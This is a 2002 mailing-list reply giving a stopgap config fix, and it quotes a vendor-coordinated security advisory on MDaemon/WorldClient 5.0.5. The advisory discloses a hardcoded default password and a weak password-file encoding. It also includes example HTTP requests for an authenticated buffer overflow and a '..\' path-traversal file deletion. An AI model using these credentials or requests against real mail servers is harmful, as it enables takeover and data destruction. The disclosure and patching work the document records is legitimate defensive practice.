For anyone who can't access the patch (IE anyone using older versions) The first step to be somewhat secure would be to add the following line to your webacces.dat file: [MDaemon@yourcompany.com] Access=NNNNNNNNNNNNNNNNN This will at least deny login to the mdaemon account via WorldClient. Also, it is good to have their passwords checked via an NT Domain, in which case the password stored in the weekly encrypted userlist.dat will only hold the domain of the NT account which it verifies against. Just a quick fix until you can upgrade to the newest version and patch... don't consider this a permanent solution. -Terry Lavoie NOTE: I take no responsibility for any problems this may cause, though I will report that it doesn't seem to have had any negative effects on my system, other then displaying "your account has been disabled" when you try to log into WorldClient as MDaemon. -----Original Message----- From: Obscure [mailto:obscure@eyeonsecurity.net] Sent: Tuesday, May 07, 2002 5:57 PM To: bugtraq@securityfocus.com Subject: Multiple Vulnerabilities in MDaemon + WorldClient Advisory Title: Multiple Vulnerabilities in MDaemon + WorldClient Release Date: 07/05/2002 Application: WorldClient and MDaemon Platform: Windows Clients. Version: MDaemon/WorldClient 5.0.5.0 - and probably earlier versions Severity: Several Vulnerabilities - one of which gives system access. Author: Obscure^ [ obscure@eyeonsecurity.net ] Vendor Status: informed on 4th May 2002 ALT-N & EyeonSecurity worked together on a patch which was released on 7th May 2002 Web: http://www.mdaemon.com http://www.deerfield.com/products/mdaemon/worldclient/ http://eyeonsecurity.net/advisories/mdaemonworldclient.html Background. (extracted from http://www.deerfield.com/products/mdaemon/worldclient/) WorldClient, integrated with MDaemon Pro 5.0, allows users access to their e-mail accounts, folders, address books, and spell checkers with any standard web browser. By using a web browser to access e-mail, users can access their e-mail from anywhere on the Internet. Unlike typical e-mail client applications, WorldClient does not require reconfiguration to use, and does not leave any traces of messages on the Internet terminal; an ideal feature for anyone that travels. WorldClient also stores all of the messages on the MDaemon server, not a third party server, a key for anyone that uses e-mail for sensitive or confidential communications. Multiple Problems 1. Default Username with default password. MDaemon has a default user called MDaemon which is used by the application itself. When trying to change any setting of this user, and error pops up : "The MDaemon account is built in system mail account. It is critical for system purposes and should not be edited needlessly. Attempting to use the MDaemon system account as if it were a regular mail account can cause unpredictable results." By decoding the password (as described in problem 2), it was easy to discover that the password for this account is always MServer. This account may then be used to further exploit other vulnerabilities in this software - or simply as a free anonymous account by attackers, spammers etc. Use your imagination :-) 2. Weak encryption for Password files. The password is by default stored in a file called userlist.dat in the MDaemon/App directory. The location of this file is usually C:\MDaemon\App\userlist.dat. The password is encrypted using a weak encryption making it very easy to decode. Each character is changed by a static offset and the final result is base64 encoded. 3. Buffer Overflow in WorldClient There is a BufferOverflow in WorldClient. When an attacker executes arbitrary code using this vulnerability, such code is executed as SYSTEM on a Windows 2000 machine. The overflow occurs when trying to create a folder with a long name by using the Web interface (worldclient). In my tests, the EIP is overwritten at 0x0123FFA8. The folder name has to be about 1000 characters long to cause the overflow. It is important to note that the client exploiting this issue has to be authenticated when sending the exploit string. In my tests I made use of the MDaemon default account and was able to execute arbitrary code on the target machine. 4. Deletion of any file on the same drive as WorldClient. When creating a new e-mail messege, users can attach files. The attached files are stored in the user's folder. While WorldClient checks for filenames which contain possibly dangerous characters such as "../" when creating a new file, it does not put this check when deleting attached files. This means that any file on the same drive as MDaemon can be deleted, possibly leading to a Denial of Service. Exploit Examples. Buffer Overflow Example: POST /WorldClient.cgi?Session=xxxx&View=Options-Folders&Reload=Yes HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461) Host: victim:3000 Content-Length: 1636 Connection: Keep-Alive Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxxx OldFolderParent=&OldFolder=&FolderParent=&Folder=&NewFolder=AAAAAAAAAAAA AAA[BUFFER_HERE_1000+chars]&NewFolderParent=&Create=Create&Folder%3AInbo x=Inbox&Folder%3ADrafts=Drafts&Folder%3ASent=Sent&Folder%3ATrash=Trash&F older%3As=s File Deletion Example: POST /WorldClient.cgi?Session=xxxx&View=Compose-Attach HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Referer: http://victom.com:3001/WorldClient.cgi?Session=xxxx&View=Options-Folders Content-Type: multipart/form-data; boundary=---------------------------7d2851b9074c Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461) Host: victim:3001 Content-Length: 407 Connection: Keep-Alive Cache-Control: no-cache Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxx -----------------------------7d2851b9074c Content-Disposition: form-data; name="Attachment"; filename="" Content-Type: application/octet-stream -----------------------------7d2851b9074c Content-Disposition: form-data; name="Attachments" ..\..\test.txt -----------------------------7d2851b9074c Content-Disposition: form-data; name="Remove" Remove -----------------------------7d2851b9074c-- Fix. The issue has been fixed on May 7 2002 [The vendor has been quick to release a patch - congrats] An update can be found at : ftp://ftp.altn.com/MDaemon/Release/md506_en.exe - English ftp://ftp.altn.com/MDaemon/Release/md506_ge.exe - German This fixes issues #1,#3 and #4. To prevent users from decoding the userlist.dat file (issue #2) it was recommended by the vendor that the correct NTFS permissions are in place. Thanks ... go to Arvel Hathcock of Alt-N Technologies Ltd - and his team, for the good support and quick response (issues were fixed in 3 days). It's been nice working with you guys. Disclaimer. The information within this document may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any consequences whatsoever arising out of or in connection with the use or spread of this information. Any use of this information lays within the user's responsibility. Feedback. Please send suggestions, updates, and comments to: Eye on Security mail : obscure@eyeonsecurity.net web : http://www.eyeonsecurity.net
